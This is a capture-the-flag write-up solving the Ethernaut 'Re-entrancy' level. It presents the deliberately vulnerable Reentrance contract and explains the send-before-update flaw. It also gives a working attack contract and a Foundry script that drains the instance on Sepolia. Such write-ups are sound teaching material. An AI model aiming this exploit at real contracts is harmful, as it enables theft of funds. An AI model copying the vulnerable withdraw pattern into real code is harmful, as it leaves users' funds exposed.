qing ying
384 words
2 minutes
Re-entrancy - The Ethernaut
Cover image source: Source
Challenge Overview
This level involves a contract vulnerable to a classic reentrancy attack. The goal is to drain all funds from the contract by exploiting the unsafe order of operations in the withdraw() function, which sends Ether before updating the user’s balance.
Challenge Code
// SPDX-License-Identifier: MITpragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance { using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); }
function balanceOf(address _who) public view returns (uint256 balance) { return balances[_who]; }
function withdraw(uint256 _amount) public { if (balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value: _amount}(""); if (result) { _amount; } balances[msg.sender] -= _amount; } }
receive() external payable {}}Exploit Explanation
The critical vulnerability is in the withdraw() function:
function withdraw(uint256 _amount) public { if (balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value: _amount}(""); // Ether sent first if (result) { _amount; } balances[msg.sender] -= _amount; // Balance updated later }}The unsafe order of operations allows for a reentrancy attack:
- The contract sends Ether to the caller before updating their balance
- A malicious contract can implement a
receive()function that callswithdraw()again - Since the balance hasn’t been updated yet, the second withdrawal also succeeds
- This recursive pattern continues until all contract funds are drained
The attack sequence:
- Donate 0.001 ether to create a balance in the malicious contract
- Call
withdraw(0.001 ether)to trigger the attack - The malicious contract’s
receive()function recursively callswithdraw()again - Repeat until the target contract is drained
Exploit Script
// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.6.12;
import "forge-std/Script.sol";import "forge-std/console.sol";import "../src/Reentrance.sol";
contract Evil { Reentrance public reentranceInstance = Reentrance(payable(<YOUR_INSTANCE>));
constructor() public payable { reentranceInstance.donate{value: 0.001 ether}(address(this)); }
function attack() public payable { reentranceInstance.withdraw(0.001 ether); address(msg.sender).call{value: 0.002 ether}(""); }
receive() external payable { reentranceInstance.withdraw(0.001 ether); }}
contract ReentranceSolution is Script { function run() public { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); Evil evil = new Evil{value: 0.001 ether}(); evil.attack{value: 0.001 ether}(); vm.stopBroadcast(); }}Proof of Concept (PoC)
Execute the exploit with Foundry:
forge script script/ReentranceSolution.s.sol --rpc-url $SEPOLIA_URL --tc ReentranceSolution --broadcastSolving SafeMath Import Issue
Similar to previous challenges using Solidity <0.8.0, we need to resolve the SafeMath import issue:
1. Configure foundry.toml
solc_version = "0.6.12"remappings = [ "forge-std/=lib/forge-std/src/", "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/"]2. Install the Correct OpenZeppelin Release
forge install openzeppelin/openzeppelin-contracts@v3.4.23. Update the Import Path
Modify the import statement in the challenge contract:
import "openzeppelin-contracts-06/math/SafeMath.sol";import "@openzeppelin/contracts/math/SafeMath.sol";This ensures the compiler correctly resolves the SafeMath dependency for pragma solidity ^0.6.12.
Re-entrancy - The Ethernaut
https://xiaowenjictf.github.io/posts/ethernaut/reentrancy/